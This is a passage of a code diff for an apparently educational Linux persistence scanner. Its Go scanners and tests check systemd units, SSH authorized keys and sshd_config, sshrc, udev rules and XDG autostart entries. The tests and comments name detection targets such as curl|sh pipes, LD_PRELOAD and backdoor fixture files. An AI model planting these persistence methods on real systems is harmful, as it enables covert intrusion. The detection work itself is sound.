+			"injected bashrc: got %d findings, want >= 3",
+			len(findings),
+		)
+	}
+
+	hasCritical := false
+	hasHigh := false
+	for _, f := range findings {
+		if f.Severity == types.SeverityCritical {
+			hasCritical = true
+		}
+		if f.Severity == types.SeverityHigh {
+			hasHigh = true
+		}
+	}
+
+	if !hasCritical {
+		t.Error("expected critical for LD_PRELOAD")
+	}
+	if !hasHigh {
+		t.Error("expected high for alias hijack or curl|bash")
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/scanner.go

@@ -0,0 +1,71 @@
+/*
+©AngelaMos | 2026
+scanner.go
+
+Scanner registry that collects and runs all persistence scanners
+
+Maintains an ordered slice of scanners registered at init time.
+RunAll iterates each scanner in parallel using errgroup, collects
+findings under a mutex, and returns the merged result set. Each
+scanner module calls Register in its init function to add itself.
+*/
+
+package scanner
+
+import (
+	"log/slog"
+	"sync"
+
+	"golang.org/x/sync/errgroup"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+var registry []types.Scanner
+
+func Register(s types.Scanner) {
+	registry = append(registry, s)
+}
+
+func All() []types.Scanner {
+	return registry
+}
+
+func RunAll(root string) []types.Finding {
+	var (
+		mu  sync.Mutex
+		all []types.Finding
+		g   errgroup.Group
+	)
+
+	slog.Debug(
+		"starting scan",
+		"root", root,
+		"scanners", len(registry),
+	)
+
+	for _, s := range registry {
+		g.Go(func() error {
+			slog.Debug(
+				"scanner started", "name", s.Name(),
+			)
+			results := s.Scan(root)
+			slog.Debug(
+				"scanner finished",
+				"name", s.Name(),
+				"findings", len(results),
+			)
+			mu.Lock()
+			all = append(all, results...)
+			mu.Unlock()
+			return nil
+		})
+	}
+
+	_ = g.Wait() //nolint:errcheck
+
+	slog.Debug(
+		"scan complete", "total_findings", len(all),
+	)
+	return all
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/ssh.go

@@ -0,0 +1,196 @@
+/*
+©AngelaMos | 2026
+ssh.go
+
+Scans SSH configuration and authorized keys for persistence indicators
+
+Checks authorized_keys files for forced command options, sshd_config
+for dangerous directives like PermitRootLogin and non-standard
+AuthorizedKeysFile paths, and detects ~/.ssh/rc login scripts.
+
+MITRE ATT&CK:
+  T1098.004 - Account Manipulation: SSH Authorized Keys
+*/
+
+package scanner
+
+import (
+	"path/filepath"
+	"strings"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+	sshScannerName = "ssh"
+	mitreSSH       = "T1098.004"
+)
+
+func init() {
+	Register(&SSHScanner{})
+}
+
+type SSHScanner struct{}
+
+func (s *SSHScanner) Name() string {
+	return sshScannerName
+}
+
+func (s *SSHScanner) Scan(
+	root string,
+) []types.Finding {
+	var findings []types.Finding
+
+	for _, home := range FindUserDirs(root) {
+		findings = append(
+			findings,
+			s.scanAuthorizedKeys(
+				filepath.Join(
+					home, ".ssh", "authorized_keys",
+				),
+			)...,
+		)
+		findings = append(
+			findings,
+			s.scanAuthorizedKeys(
+				filepath.Join(
+					home, ".ssh", "authorized_keys2",
+				),
+			)...,
+		)
+
+		rc := filepath.Join(home, ".ssh", "rc")
+		if FileExists(rc) {
+			findings = append(findings, types.Finding{
+				Scanner:  sshScannerName,
+				Severity: types.SeverityMedium,
+				Title:    "SSH rc script detected",
+				Path:     rc,
+				Evidence: "~/.ssh/rc executes on every SSH login",
+				MITRE:    mitreSSH,
+			})
+			findings = append(
+				findings,
+				ScanFileForPatterns(
+					rc, sshScannerName, mitreSSH,
+				)...,
+			)
+		}
+	}
+
+	sshdConfig := ResolveRoot(root, "/etc/ssh/sshd_config")
+	findings = append(
+		findings,
+		s.scanSSHDConfig(sshdConfig)...,
+	)
+
+	sshdConfigD := ResolveRoot(
+		root, "/etc/ssh/sshd_config.d",
+	)
+	for _, path := range ListFiles(sshdConfigD) {
+		findings = append(
+			findings,
+			s.scanSSHDConfig(path)...,
+		)
+	}
+
+	return findings
+}
+
+func (s *SSHScanner) scanAuthorizedKeys(
+	path string,
+) []types.Finding {
+	lines := ReadLines(path)
+	if lines == nil {
+		return nil
+	}
+
+	var findings []types.Finding
+	for _, line := range lines {
+		trimmed := strings.TrimSpace(line)
+		if trimmed == "" || strings.HasPrefix(trimmed, "#") {
+			continue
+		}
+
+		if strings.Contains(trimmed, "command=") {
+			findings = append(findings, types.Finding{
+				Scanner:  sshScannerName,
+				Severity: types.SeverityHigh,
+				Title:    "Forced command in authorized_keys",
+				Path:     path,
+				Evidence: truncate(trimmed),
+				MITRE:    mitreSSH,
+			})
+		}
+
+		if strings.Contains(trimmed, "environment=") {
+			findings = append(findings, types.Finding{
+				Scanner:  sshScannerName,
+				Severity: types.SeverityHigh,
+				Title:    "Environment override in authorized_keys",
+				Path:     path,
+				Evidence: truncate(trimmed),
+				MITRE:    mitreSSH,
+			})
+		}
+	}
+	return findings
+}
+
+func (s *SSHScanner) scanSSHDConfig(
+	path string,
+) []types.Finding {
+	lines := ReadLines(path)
+	if lines == nil {
+		return nil
+	}
+
+	var findings []types.Finding
+	for _, line := range lines {
+		trimmed := strings.TrimSpace(line)
+		lower := strings.ToLower(trimmed)
+
+		if strings.HasPrefix(lower, "permitrootlogin") &&
+			strings.Contains(lower, "yes") {
+			findings = append(findings, types.Finding{
+				Scanner:  sshScannerName,
+				Severity: types.SeverityMedium,
+				Title:    "PermitRootLogin enabled",
+				Path:     path,
+				Evidence: trimmed,
+				MITRE:    mitreSSH,
+			})
+		}
+
+		if strings.HasPrefix(lower, "authorizedkeysfile") {
+			val := strings.Fields(trimmed)
+			if len(val) >= 2 {
+				keyPath := val[1]
+				if !strings.Contains(
+					keyPath, ".ssh/authorized_keys",
+				) {
+					findings = append(
+						findings, types.Finding{
+							Scanner:  sshScannerName,
+							Severity: types.SeverityHigh,
+							Title:    "Non-standard AuthorizedKeysFile path",
+							Path:     path,
+							Evidence: trimmed,
+							MITRE:    mitreSSH,
+						},
+					)
+				}
+			}
+		}
+	}
+	return findings
+}
+
+const maxKeyLineLen = 120
+
+func truncate(s string) string {
+	if len(s) <= maxKeyLineLen {
+		return s
+	}
+	return s[:maxKeyLineLen] + "..."
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/ssh_test.go

@@ -0,0 +1,123 @@
+/*
+©AngelaMos | 2026
+ssh_test.go
+*/
+
+package scanner
+
+import (
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestSSHScanner_CleanKeys(t *testing.T) {
+	s := &SSHScanner{}
+	path := filepath.Join(
+		testdataDir(), "ssh", "clean-authorized-keys",
+	)
+
+	findings := s.scanAuthorizedKeys(path)
+	if len(findings) > 0 {
+		t.Errorf(
+			"clean keys produced %d findings, want 0",
+			len(findings),
+		)
+	}
+}
+
+func TestSSHScanner_CommandKeys(t *testing.T) {
+	s := &SSHScanner{}
+	path := filepath.Join(
+		testdataDir(), "ssh", "command-authorized-keys",
+	)
+
+	findings := s.scanAuthorizedKeys(path)
+	if len(findings) < 2 {
+		t.Fatalf(
+			"command keys: got %d findings, want >= 2",
+			len(findings),
+		)
+	}
+
+	hasCommand := false
+	hasEnv := false
+	for _, f := range findings {
+		if f.Severity == types.SeverityHigh {
+			switch {
+			case strings.Contains(f.Title, "Forced command"):
+				hasCommand = true
+			case strings.Contains(
+				f.Title, "Environment override",
+			):
+				hasEnv = true
+			}
+		}
+	}
+
+	if !hasCommand {
+		t.Error("expected finding for command= option")
+	}
+	if !hasEnv {
+		t.Error("expected finding for environment= option")
+	}
+}
+
+func TestSSHScanner_SSHDConfigDangerous(t *testing.T) {
+	s := &SSHScanner{}
+	path := filepath.Join(
+		testdataDir(), "ssh", "sshd_config-dangerous",
+	)
+
+	findings := s.scanSSHDConfig(path)
+	if len(findings) < 2 {
+		t.Fatalf(
+			"dangerous sshd_config: got %d findings, want >= 2",
+			len(findings),
+		)
+	}
+
+	hasRootLogin := false
+	hasKeysFile := false
+	for _, f := range findings {
+		switch {
+		case strings.Contains(
+			f.Title, "PermitRootLogin",
+		):
+			hasRootLogin = true
+		case strings.Contains(
+			f.Title, "AuthorizedKeysFile",
+		):
+			hasKeysFile = true
+		}
+	}
+
+	if !hasRootLogin {
+		t.Error("expected finding for PermitRootLogin yes")
+	}
+	if !hasKeysFile {
+		t.Error(
+			"expected finding for non-standard AuthorizedKeysFile",
+		)
+	}
+}
+
+func TestSSHScanner_SSHDConfigClean(t *testing.T) {
+	s := &SSHScanner{}
+	path := filepath.Join(
+		testdataDir(), "ssh", "sshd_config-clean",
+	)
+
+	findings := s.scanSSHDConfig(path)
+	if len(findings) > 0 {
+		t.Errorf(
+			"clean sshd_config produced %d findings, want 0",
+			len(findings),
+		)
+		for _, f := range findings {
+			t.Logf("  finding: %s (%s)", f.Title, f.Evidence)
+		}
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/sshrc.go

@@ -0,0 +1,74 @@
+/*
+©AngelaMos | 2026
+sshrc.go
+
+Scans /etc/ssh/sshrc for system-wide SSH login persistence
+
+The sshrc file executes as the connecting user on every SSH login,
+distinct from per-user ~/.ssh/rc files. Attackers plant callbacks
+here because it runs before the user's shell and is rarely audited.
+
+MITRE ATT&CK:
+  T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification
+*/
+
+package scanner
+
+import (
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+	sshrcScannerName = "sshrc"
+	mitreSSHRC       = "T1546.004"
+)
+
+func init() {
+	Register(&SSHRCScanner{})
+}
+
+type SSHRCScanner struct{}
+
+func (s *SSHRCScanner) Name() string {
+	return sshrcScannerName
+}
+
+func (s *SSHRCScanner) Scan(
+	root string,
+) []types.Finding {
+	var findings []types.Finding
+
+	sshrc := ResolveRoot(root, "/etc/ssh/sshrc")
+	if !FileExists(sshrc) {
+		return nil
+	}
+
+	findings = append(findings, types.Finding{
+		Scanner:  sshrcScannerName,
+		Severity: types.SeverityMedium,
+		Title:    "System-wide sshrc login script exists",
+		Path:     sshrc,
+		Evidence: "/etc/ssh/sshrc runs on every SSH login",
+		MITRE:    mitreSSHRC,
+	})
+
+	findings = append(
+		findings,
+		ScanFileForPatterns(
+			sshrc, sshrcScannerName, mitreSSHRC,
+		)...,
+	)
+
+	if IsWorldWritable(sshrc) {
+		findings = append(findings, types.Finding{
+			Scanner:  sshrcScannerName,
+			Severity: types.SeverityMedium,
+			Title:    "World-writable sshrc script",
+			Path:     sshrc,
+			Evidence: "Any user can modify this login script",
+			MITRE:    mitreSSHRC,
+		})
+	}
+
+	return findings
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/sshrc_test.go

@@ -0,0 +1,73 @@
+/*
+©AngelaMos | 2026
+sshrc_test.go
+*/
+
+package scanner
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestSSHRCScanner_Exists(t *testing.T) {
+	root := t.TempDir()
+	sshDir := filepath.Join(root, "etc", "ssh")
+	if err := os.MkdirAll(sshDir, 0o750); err != nil {
+		t.Fatal(err)
+	}
+
+	src := filepath.Join(
+		testdataDir(), "sshrc", "sshrc-malicious",
+	)
+	data, err := os.ReadFile(src) //nolint:gosec
+	if err != nil {
+		t.Fatal(err)
+	}
+	writeTestFile(
+		t, filepath.Join(sshDir, "sshrc"), string(data),
+	)
+
+	s := &SSHRCScanner{}
+	findings := s.Scan(root)
+
+	if len(findings) == 0 {
+		t.Fatal("sshrc with content produced no findings")
+	}
+
+	hasExistence := false
+	hasPattern := false
+	for _, f := range findings {
+		if f.Title == "System-wide sshrc login script exists" {
+			hasExistence = true
+		}
+		if f.Severity >= types.SeverityMedium &&
+			f.Title != "System-wide sshrc login script exists" {
+			hasPattern = true
+		}
+	}
+
+	if !hasExistence {
+		t.Error("expected existence finding for sshrc")
+	}
+	if !hasPattern {
+		t.Error(
+			"expected pattern finding for curl in sshrc",
+		)
+	}
+}
+
+func TestSSHRCScanner_Missing(t *testing.T) {
+	s := &SSHRCScanner{}
+	findings := s.Scan(t.TempDir())
+
+	if len(findings) > 0 {
+		t.Errorf(
+			"missing sshrc produced %d findings, want 0",
+			len(findings),
+		)
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/systemd.go

@@ -0,0 +1,185 @@
+/*
+©AngelaMos | 2026
+systemd.go
+
+Scans systemd unit files for persistence indicators
+
+Enumerates service and timer units across system and user directories,
+parses Exec directives, and flags units that show signs of attacker
+installation: suspicious commands, non-standard paths, world-writable
+files, and recent modification timestamps.
+
+MITRE ATT&CK:
+  T1543.002 - Create or Modify System Process: Systemd Service
+  T1053.006 - Scheduled Task/Job: Systemd Timers
+*/
+
+package scanner
+
+import (
+	"path/filepath"
+	"strings"
+	"time"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+	systemdScannerName = "systemd"
+	mitreSystemd       = "T1543.002"
+	mitreTimer         = "T1053.006"
+	mitrePath          = "T1543.002"
+)
+
+var systemdDirs = []string{
+	"/etc/systemd/system",
+	"/run/systemd/system",
+	"/usr/lib/systemd/system",
+}
+
+var execDirectives = []string{
+	"ExecStart=",
+	"ExecStartPre=",
+	"ExecStartPost=",
+	"ExecStop=",
+	"ExecStopPost=",
+	"ExecReload=",
+}
+
+func init() {
+	Register(&SystemdScanner{})
+}
+
+type SystemdScanner struct{}
+
+func (s *SystemdScanner) Name() string {
+	return systemdScannerName
+}
+
+func (s *SystemdScanner) Scan(
+	root string,
+) []types.Finding {
+	var findings []types.Finding
+
+	for _, dir := range systemdDirs {
+		resolved := ResolveRoot(root, dir)
+		findings = append(
+			findings,
+			s.scanDir(resolved)...,
+		)
+	}
+
+	for _, home := range FindUserDirs(root) {
+		userDir := filepath.Join(
+			home, ".config", "systemd", "user",
+		)
+		findings = append(
+			findings,
+			s.scanDir(userDir)...,
+		)
+	}
+
+	return findings
+}
+
+func (s *SystemdScanner) scanDir(
+	dir string,
+) []types.Finding {
+	var findings []types.Finding
+
+	files := ListFiles(dir)
+	for _, path := range files {
+		ext := filepath.Ext(path)
+		if ext != ".service" && ext != ".timer" &&
+			ext != ".socket" && ext != ".path" {
+			continue
+		}
+
+		mitre := mitreSystemd
+		switch ext {
+		case ".timer":
+			mitre = mitreTimer
+		case ".path":
+			mitre = mitrePath
+		}
+
+		findings = append(
+			findings,
+			s.analyzeUnit(path, mitre)...,
+		)
+	}
+
+	entries := ListDir(dir)
+	for _, e := range entries {
+		if e.IsDir() && strings.HasSuffix(e.Name(), ".d") {
+			dropinDir := filepath.Join(dir, e.Name())
+			for _, f := range ListFiles(dropinDir) {
+				if strings.HasSuffix(f, ".conf") {
+					findings = append(
+						findings,
+						s.analyzeUnit(f, mitreSystemd)...,
+					)
+				}
+			}
+		}
+	}
+
+	return findings
+}
+
+func (s *SystemdScanner) analyzeUnit(
+	path, mitre string,
+) []types.Finding {
+	var findings []types.Finding
+	lines := ReadLines(path)
+
+	for _, line := range lines {
+		trimmed := strings.TrimSpace(line)
+		for _, directive := range execDirectives {
+			if !strings.HasPrefix(trimmed, directive) {
+				continue
+			}
+			cmd := strings.TrimPrefix(trimmed, directive)
+			cmd = strings.TrimPrefix(cmd, "-")
+
+			matched, sev, label := MatchLine(cmd)
+			if matched {
+				findings = append(findings, types.Finding{
+					Scanner:  systemdScannerName,
+					Severity: sev,
+					Title: "Suspicious " +
+						strings.TrimSuffix(
+							directive, "=",
+						) + ": " + label,
+					Path:     path,
+					Evidence: trimmed,
+					MITRE:    mitre,
+				})
+			}
+		}
+	}
+
+	if IsWorldWritable(path) {
+		findings = append(findings, types.Finding{
+			Scanner:  systemdScannerName,
+			Severity: types.SeverityMedium,
+			Title:    "World-writable unit file",
+			Path:     path,
+			Evidence: "File permissions allow any user to modify this unit",
+			MITRE:    mitre,
+		})
+	}
+
+	if ModifiedWithin(path, 24*time.Hour) {
+		findings = append(findings, types.Finding{
+			Scanner:  systemdScannerName,
+			Severity: types.SeverityMedium,
+			Title:    "Recently modified unit file",
+			Path:     path,
+			Evidence: "Modified within the last 24 hours",
+			MITRE:    mitre,
+		})
+	}
+
+	return findings
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/systemd_test.go

@@ -0,0 +1,129 @@
+/*
+©AngelaMos | 2026
+systemd_test.go
+*/
+
+package scanner
+
+import (
+	"path/filepath"
+	"runtime"
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func testdataDir() string {
+	_, file, _, _ := runtime.Caller(0)
+	return filepath.Join(
+		filepath.Dir(file),
+		"..", "..", "testdata",
+	)
+}
+
+func TestSystemdScanner_CleanService(t *testing.T) {
+	s := &SystemdScanner{}
+	findings := s.analyzeUnit(
+		filepath.Join(
+			testdataDir(), "systemd", "clean-service.service",
+		),
+		mitreSystemd,
+	)
+
+	suspicious := filterSuspicious(findings)
+	if len(suspicious) > 0 {
+		t.Errorf(
+			"clean service produced %d suspicious findings, want 0",
+			len(suspicious),
+		)
+		for _, f := range suspicious {
+			t.Logf("  finding: %s (%s)", f.Title, f.Evidence)
+		}
+	}
+}
+
+func TestSystemdScanner_SuspiciousService(t *testing.T) {
+	s := &SystemdScanner{}
+	findings := s.analyzeUnit(
+		filepath.Join(
+			testdataDir(),
+			"systemd",
+			"suspicious-service.service",
+		),
+		mitreSystemd,
+	)
+
+	suspicious := filterSuspicious(findings)
+	if len(suspicious) == 0 {
+		t.Fatal("suspicious service produced no findings")
+	}
+
+	foundCurl := false
+	foundTmp := false
+	for _, f := range suspicious {
+		if f.Severity >= types.SeverityHigh {
+			foundCurl = true
+		}
+		if f.Severity >= types.SeverityMedium {
+			foundTmp = true
+		}
+	}
+
+	if !foundCurl {
+		t.Error("expected high-severity finding for curl|sh")
+	}
+	if !foundTmp {
+		t.Error("expected finding for /tmp path")
+	}
+}
+
+func TestSystemdScanner_TimerMITRE(t *testing.T) {
+	s := &SystemdScanner{}
+	path := filepath.Join(
+		testdataDir(),
+		"systemd",
+		"timer-backdoor.timer",
+	)
+	findings := s.analyzeUnit(path, mitreTimer)
+
+	for _, f := range findings {
+		if f.MITRE != mitreTimer {
+			t.Errorf(
+				"timer finding MITRE = %q, want %q",
+				f.MITRE, mitreTimer,
+			)
+		}
+	}
+}
+
+func TestSystemdScanner_PathUnit(t *testing.T) {
+	s := &SystemdScanner{}
+	path := filepath.Join(
+		testdataDir(),
+		"systemd",
+		"watch-beacon.path",
+	)
+	findings := s.analyzeUnit(path, mitrePath)
+
+	for _, f := range findings {
+		if f.MITRE != mitrePath {
+			t.Errorf(
+				"path unit MITRE = %q, want %q",
+				f.MITRE, mitrePath,
+			)
+		}
+	}
+}
+
+func filterSuspicious(
+	findings []types.Finding,
+) []types.Finding {
+	var result []types.Finding
+	for _, f := range findings {
+		if f.Severity >= types.SeverityMedium &&
+			f.Title != "Recently modified unit file" {
+			result = append(result, f)
+		}
+	}
+	return result
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/udev.go

@@ -0,0 +1,130 @@
+/*
+©AngelaMos | 2026
+udev.go
+
+Scans udev rules for persistence through device event triggers
+
+Parses udev rule files for RUN+= directives that execute commands
+on hardware events. Flags rules pointing to suspicious paths or
+containing shell interpreters and network tools.
+
+MITRE ATT&CK:
+  T1546 - Event Triggered Execution
+*/
+
+package scanner
+
+import (
+	"strings"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+	udevScannerName = "udev"
+	mitreUdev       = "T1546"
+)
+
+var udevDirs = []string{
+	"/etc/udev/rules.d",
+	"/lib/udev/rules.d",
+	"/usr/lib/udev/rules.d",
+	"/run/udev/rules.d",
+}
+
+func init() {
+	Register(&UdevScanner{})
+}
+
+type UdevScanner struct{}
+
+func (u *UdevScanner) Name() string {
+	return udevScannerName
+}
+
+func (u *UdevScanner) Scan(
+	root string,
+) []types.Finding {
+	var findings []types.Finding
+
+	for _, dir := range udevDirs {
+		resolved := ResolveRoot(root, dir)
+		for _, path := range ListFiles(resolved) {
+			if !strings.HasSuffix(path, ".rules") {
+				continue
+			}
+			findings = append(
+				findings,
+				u.scanRuleFile(path)...,
+			)
+		}
+	}
+
+	return findings
+}
+
+func (u *UdevScanner) scanRuleFile(
+	path string,
+) []types.Finding {
+	lines := ReadLines(path)
+	if lines == nil {
+		return nil
+	}
+
+	var findings []types.Finding
+	for _, line := range lines {
+		trimmed := strings.TrimSpace(line)
+		if IsCommentOrEmpty(trimmed) {
+			continue
+		}
+
+		if !strings.Contains(trimmed, "RUN+=") &&
+			!strings.Contains(trimmed, "RUN+=\"") {
+			continue
+		}
+
+		runCmd := extractRunDirective(trimmed)
+		if runCmd == "" {
+			continue
+		}
+
+		matched, sev, label := MatchLine(runCmd)
+		if matched {
+			findings = append(findings, types.Finding{
+				Scanner:  udevScannerName,
+				Severity: sev,
+				Title:    "Suspicious udev RUN directive: " + label,
+				Path:     path,
+				Evidence: trimmed,
+				MITRE:    mitreUdev,
+			})
+			continue
+		}
+
+		if TempDirPattern.MatchString(runCmd) ||
+			containsShellCommand(runCmd) {
+			findings = append(findings, types.Finding{
+				Scanner:  udevScannerName,
+				Severity: types.SeverityMedium,
+				Title:    "Udev rule executes command",
+				Path:     path,
+				Evidence: trimmed,
+				MITRE:    mitreUdev,
+			})
+		}
+	}
+	return findings
+}
+
+func extractRunDirective(line string) string {
+	idx := strings.Index(line, "RUN+=")
+	if idx == -1 {
+		return ""
+	}
+	rest := line[idx+5:]
+	rest = strings.TrimPrefix(rest, "\"")
+	if end := strings.Index(rest, "\""); end != -1 {
+		return rest[:end]
+	}
+	return strings.TrimSpace(rest)
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/udev_test.go

@@ -0,0 +1,72 @@
+/*
+©AngelaMos | 2026
+udev_test.go
+*/
+
+package scanner
+
+import (
+	"path/filepath"
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestUdevScanner_BackdoorRule(t *testing.T) {
+	u := &UdevScanner{}
+	path := filepath.Join(
+		testdataDir(), "udev", "backdoor.rules",
+	)
+
+	findings := u.scanRuleFile(path)
+	if len(findings) == 0 {
+		t.Fatal("backdoor udev rule produced no findings")
+	}
+
+	hasHighOrAbove := false
+	for _, f := range findings {
+		if f.Severity >= types.SeverityHigh {
+			hasHighOrAbove = true
+		}
+	}
+
+	if !hasHighOrAbove {
+		t.Error("expected high+ severity for curl|sh in RUN+=")
+	}
+}
+
+func TestExtractRunDirective(t *testing.T) {
+	tests := []struct {
+		name string
+		line string
+		want string
+	}{
+		{
+			name: "quoted directive",
+			line: `ACTION=="add", RUN+="/bin/bash -c 'echo test'"`,
+			want: "/bin/bash -c 'echo test'",
+		},
+		{
+			name: "no run directive",
+			line: `ACTION=="add", SUBSYSTEM=="usb"`,
+			want: "",
+		},
+		{
+			name: "unquoted directive",
+			line: `RUN+=/usr/bin/payload`,
+			want: "/usr/bin/payload",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := extractRunDirective(tt.line)
+			if got != tt.want {
+				t.Errorf(
+					"extractRunDirective(%q) = %q, want %q",
+					tt.line, got, tt.want,
+				)
+			}
+		})
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/xdg.go

@@ -0,0 +1,120 @@
+/*
+©AngelaMos | 2026
+xdg.go
+
+Scans XDG autostart entries for persistence through desktop login
+
+Parses .desktop files in system and user autostart directories for
+suspicious Exec= directives that run on graphical session login.
+
+MITRE ATT&CK:
+  T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries
+*/
+
+package scanner
+
+import (
+	"path/filepath"
+	"strings"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+	xdgScannerName = "xdg"
+	mitreXDG       = "T1547.013"
+)
+
+func init() {
+	Register(&XDGScanner{})
+}
+
+type XDGScanner struct{}
+
+func (x *XDGScanner) Name() string {
+	return xdgScannerName
+}
+
+func (x *XDGScanner) Scan(
+	root string,
+) []types.Finding {
+	var findings []types.Finding
+
+	sysDir := ResolveRoot(root, "/etc/xdg/autostart")
+	findings = append(
+		findings,
+		x.scanAutostartDir(sysDir)...,
+	)
+
+	for _, home := range FindUserDirs(root) {
+		userDir := filepath.Join(
+			home, ".config", "autostart",
+		)
+		findings = append(
+			findings,
+			x.scanAutostartDir(userDir)...,
+		)
+	}
+
+	return findings
+}
+
+func (x *XDGScanner) scanAutostartDir(
+	dir string,
+) []types.Finding {
+	var findings []types.Finding
+
+	for _, path := range ListFiles(dir) {
+		if !strings.HasSuffix(path, ".desktop") {
+			continue
+		}
+		findings = append(
+			findings,
+			x.analyzeDesktop(path)...,
+		)
+	}
+
+	return findings
+}
+
+func (x *XDGScanner) analyzeDesktop(
+	path string,
+) []types.Finding {
+	lines := ReadLines(path)
+	if lines == nil {
+		return nil
+	}
+
+	var findings []types.Finding
+	for _, line := range lines {
+		trimmed := strings.TrimSpace(line)
+
+		if !strings.HasPrefix(trimmed, "Exec=") {
+			continue
+		}
+
+		cmd := strings.TrimPrefix(trimmed, "Exec=")
+		matched, sev, label := MatchLine(cmd)
+		if matched {
+			findings = append(findings, types.Finding{
+				Scanner:  xdgScannerName,
+				Severity: sev,
+				Title:    "Suspicious XDG autostart: " + label,
+				Path:     path,
+				Evidence: trimmed,
+				MITRE:    mitreXDG,
+			})
+		} else if TempDirPattern.MatchString(cmd) {
+			findings = append(findings, types.Finding{
+				Scanner:  xdgScannerName,
+				Severity: types.SeverityMedium,
+				Title:    "XDG autostart runs from temp directory",
+				Path:     path,
+				Evidence: trimmed,
+				MITRE:    mitreXDG,
+			})
+		}
+	}
+
+	return findings
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/xdg_test.go

@@ -0,0 +1,85 @@
+/*
+©AngelaMos | 2026
+xdg_test.go
+*/
+
+package scanner
+
+import (
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestXDGScanner_CleanDesktop(t *testing.T) {
+	x := &XDGScanner{}
+	path := filepath.Join(
+		testdataDir(), "xdg", "clean.desktop",
+	)
+
+	findings := x.analyzeDesktop(path)
+	if len(findings) > 0 {
+		t.Errorf(
+			"clean desktop file produced %d findings, want 0",
+			len(findings),
+		)
+		for _, f := range findings {
+			t.Logf("  finding: %s (%s)", f.Title, f.Evidence)
+		}
+	}
+}
+
+func TestXDGScanner_SuspiciousDesktop(t *testing.T) {
+	x := &XDGScanner{}
+	path := filepath.Join(
+		testdataDir(), "xdg", "suspicious.desktop",
+	)
+
+	findings := x.analyzeDesktop(path)
+	if len(findings) == 0 {
+		t.Fatal(
+			"suspicious desktop file produced no findings",
+		)
+	}
+
+	hasHigh := false
+	for _, f := range findings {
+		if f.Severity >= types.SeverityHigh {
+			hasHigh = true
+		}
+	}
+
+	if !hasHigh {
+		t.Error("expected high+ severity for curl|sh in Exec=")
+	}
+}
+
+func TestXDGScanner_TmpDirDesktop(t *testing.T) {
+	x := &XDGScanner{}
+	path := filepath.Join(
+		testdataDir(), "xdg", "tmpdir.desktop",
+	)
+
+	findings := x.analyzeDesktop(path)
+	if len(findings) == 0 {
+		t.Fatal(
+			"tmp dir desktop file produced no findings",
+		)
+	}
+
+	hasTmp := false
+	for _, f := range findings {
+		if strings.Contains(f.Title, "temp") ||
+			strings.Contains(f.Title, "temporary") {
+			hasTmp = true
+		}
+	}
+
+	if !hasTmp {
+		t.Error(
+			"expected temp directory finding for /tmp path",
+		)
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/ui/banner.go

@@ -0,0 +1,45 @@
+/*
+©AngelaMos | 2026
+banner.go
+
+ASCII art banner renderer for the sentinel CLI header
+
+Renders the SENTINEL logo in alternating red and cyan before scans.
+*/
+
+package ui
+
+import "fmt"
+
+var sentinelBanner = []string{
+	"███████╗███████╗███╗   ██╗████████╗██╗███╗   ██╗███████╗██╗",
+	"██╔════╝██╔════╝████╗  ██║╚══██╔══╝██║████╗  ██║██╔════╝██║",
+	"███████╗█████╗  ██╔██╗ ██║   ██║   ██║██╔██╗ ██║█████╗  ██║",
+	"╚════██║██╔══╝  ██║╚██╗██║   ██║   ██║██║╚██╗██║██╔══╝  ██║",
+	"███████║███████╗██║ ╚████║   ██║   ██║██║ ╚████║███████╗███████╗",
+	"╚══════╝╚══════╝╚═╝  ╚═══╝   ╚═╝   ╚═╝╚═╝  ╚═══╝╚══════╝╚══════╝",
+}
+
+var bannerColors = []func(a ...any) string{
+	Cyan,
+	Red,
+	Cyan,
+	Red,
+	Cyan,
+	Red,
+}
+
+func PrintBanner() {
+	fmt.Println()
+	for i, line := range sentinelBanner {
+		c := bannerColors[i%len(bannerColors)]
+		fmt.Printf("  %s\n", c(line))
+	}
+	fmt.Printf(
+		"  %s\n",
+		HiBlackItalic(
+			"  Linux persistence mechanism scanner",
+		),
+	)
+	fmt.Printf("  %s\n\n", Dim(HRule(65)))
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/ui/color.go

@@ -0,0 +1,58 @@
+/*
+©AngelaMos | 2026
+color.go
+
+ANSI color sprint functions for terminal output
+
+Exposes pre-built color functions from fatih/color for all severity
+levels and UI elements used by the report formatter and banner.
+*/
+
+package ui
+
+import "github.com/fatih/color"
+
+var (
+	Red     = color.New(color.FgRed).SprintFunc()
+	Green   = color.New(color.FgGreen).SprintFunc()
+	Yellow  = color.New(color.FgYellow).SprintFunc()
+	Blue    = color.New(color.FgBlue).SprintFunc()
+	Magenta = color.New(color.FgMagenta).SprintFunc()
+	Cyan    = color.New(color.FgCyan).SprintFunc()
+	White   = color.New(color.FgWhite).SprintFunc()
+
